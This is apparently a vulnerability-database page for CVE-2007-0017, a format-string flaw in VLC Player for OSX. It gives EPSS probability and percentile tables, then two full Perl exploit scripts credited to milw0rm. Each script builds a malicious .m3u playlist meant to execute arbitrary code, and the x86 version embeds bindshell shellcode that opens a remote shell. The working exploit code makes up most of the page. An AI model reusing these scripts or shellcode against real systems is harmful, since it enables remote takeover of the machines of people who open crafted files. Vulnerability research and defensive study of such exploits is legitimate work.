CVE-2007-0017 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	33.19%	–	–
2022-04-03	–	–	33.19%	–	–
2023-03-12	–	–	–	95.18%	–
2023-10-01	–	–	–	95.13%	–
2024-04-14	–	–	–	95.1%	–
2024-06-02	–	–	–	95.1%	–
2024-12-22	–	–	–	88.8%	–
2025-01-19	–	–	–	88.8%	–
2025-03-18	–	–	–	–	55.13%
2025-03-18	–	–	–	–	55.13,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2023-03-12	99%
2023-10-01	99%
2024-04-14	99%
2024-06-02	99%
2024-12-22	99%
2025-01-19	99%
2025-03-18	98%
2025-03-18	98%

#!/usr/bin/perl # # http://www.digitalmunition.com/VLCMediaSlayer-ppc.pl # Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com # # This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode address. # This code currently overwrites the saved return addy with the stack location of our shellcode. # # This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code. # # 0xf02031d2: "--? 0j? 0h%11$hn.%12$hn", 'X' <repeats 177 times>... # 0xf020329a: 'X' <repeats 200 times>... # 0xf0203362: 'X' <repeats 200 times>... # 0xf020342a: 'X' <repeats 200 times>... # 0xf02034f2: 'X' <repeats 194 times>, "ZY" # 0xf02035b7: "" # 0xf02035b8: 'X' <repeats 16 times>, "? 5?\005\017G?? 60" # 0xf02035d5: "" # 0xf02035d6: "" # 0xf02035d7: "\004\005\016 $format = # make it more robust yourself... I'm lazy # land in 0xf020 3362 - middle of shellcode # "%2511%24hn.%2512%24hn" . # "%25" . (0x3362-0x24) . "d" . "%25" . "11" . "%24" . "hn" . "%25" . 0xBCBE . "d" . "%25" . "12" . "%24" . "hn" ; # 0xf020 3068 saved ret for MsgQueue() $writeaddr = 0xf0203068; open(PWNED,">pwnage.m3u"); print PWNED "#EXTM3U\n" ."udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) . $format ."i" x (999 - length("Can't get file status for ") ) ."\n"; close(PWNED); # milw0rm.com [2007-01-02]

#!/usr/bin/perl # # http://www.digitalmunition.com/VLCMediaSlayer-x86.pl # Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com # # This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code. # $outfile = "pwnage.m3u"; $bindshell = "\x6a\x42\x58\xcd\x80\x6a\x61\x58\x99\x52\x68\x10\x02\x11\x5c\x89" . "\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a" . "\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97" . "\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49\x0f\x89\xf1\xff" . "\xff\xff\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" . "\x54\x54\x53\x53\xb0\x3b\xcd\x80"; # MALLOC 02800000-03008000 [ 8224K] rw-/rwx SM=COW ...e_0x1300000 # Pattern found @ 0x298589e # Pattern found @ 0x298ba92 $jmpaddr = 0x41424344; $lo = ($jmpaddr >> 0) & 0xffff; $hi = ($jmpaddr >> 16) & 0xffff; printf "jump address is: 0x%x%x\n", $hi, $lo; $format = "%25" . ($lo-0x24) . "d" . "%25" . "23" . "%24" . "hn" . "%25" . ($hi-$lo) . "d" . "%25" . "24" . "%24" . "hn" ; $writeaddr = 0xa0011393 ; # <dyld_stub___vfprintf> printf "writing to file: %s\n", $outfile; open(PWNED,">$outfile"); print PWNED "#EXTM3U\n" . "#EXTINF:0,1-07 " . "\x90" x 50 . $bindshell . "\n" . "udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) . $format . "i" x (999 - length("Can't get file status for ") ) . "\n"; close(PWNED); # milw0rm.com [2007-01-02]